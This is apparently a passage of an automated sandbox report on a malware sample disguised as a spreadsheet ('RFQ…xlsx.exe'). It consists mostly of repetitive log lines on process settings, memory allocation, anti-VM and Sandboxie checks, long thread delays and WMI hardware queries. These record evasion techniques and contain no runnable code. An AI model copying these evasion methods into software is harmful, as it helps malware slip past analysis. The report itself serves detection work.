                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.00000000028BA000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: DF0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: 2810000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: 4810000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: 72F0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: 70C0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 30B0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 32B0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 30B0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory allocated: 2BD0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory allocated: 2E00000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory allocated: 2C10000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory allocated: 77E0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory allocated: 75B0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 1130000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 2A50000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 4A50000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeWindow / User API: threadDelayed 2081Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeWindow / User API: threadDelayed 7726Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWindow / User API: threadDelayed 471Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWindow / User API: threadDelayed 722Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeWindow / User API: threadDelayed 7739Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeWindow / User API: threadDelayed 2112Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep count: 38 > 30Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -35048813740048126s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -100000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7588Thread sleep count: 2081 > 30Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7588Thread sleep count: 7726 > 30Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99890s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99781s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99672s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99550s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99438s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99313s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99188s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -99063s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98953s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98839s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98712s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98610s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98475s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98356s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98247s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -98056s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97953s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97844s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97735s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97610s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97485s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97360s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97235s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -97110s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96985s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96860s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96735s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96610s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96487s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96360s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96235s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -96110s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95985s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95860s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95732s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95625s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95512s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95396s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95281s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95172s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -95063s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94953s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94844s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94719s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94610s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94485s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94360s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe TID: 7552Thread sleep time: -94235s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7892Thread sleep time: -30000s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep count: 33 > 30Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -30437127721620741s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -100000s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8056Thread sleep count: 7739 > 30Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8056Thread sleep count: 2112 > 30Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99891s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99766s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99656s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99547s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99437s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99328s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99219s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -99071s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98968s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98857s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98750s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98640s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98531s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98422s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98297s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98187s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -98078s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97969s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97844s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97734s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97625s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97516s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97406s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97297s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97187s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -97065s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96937s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96828s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96715s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96609s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96437s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96325s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96186s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -96078s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95969s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95859s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95739s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95624s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95515s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95406s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95297s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95187s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -95078s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -94968s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -94859s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -94750s >= -30000sJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exe TID: 8028Thread sleep time: -94641s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7204Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 100000Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99890Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99781Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99672Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99550Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99438Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99313Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99188Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 99063Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98953Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98839Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98712Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98610Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98475Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98356Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98247Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 98056Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97953Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97844Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97735Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97610Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97485Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97360Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97235Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 97110Jump to behavior
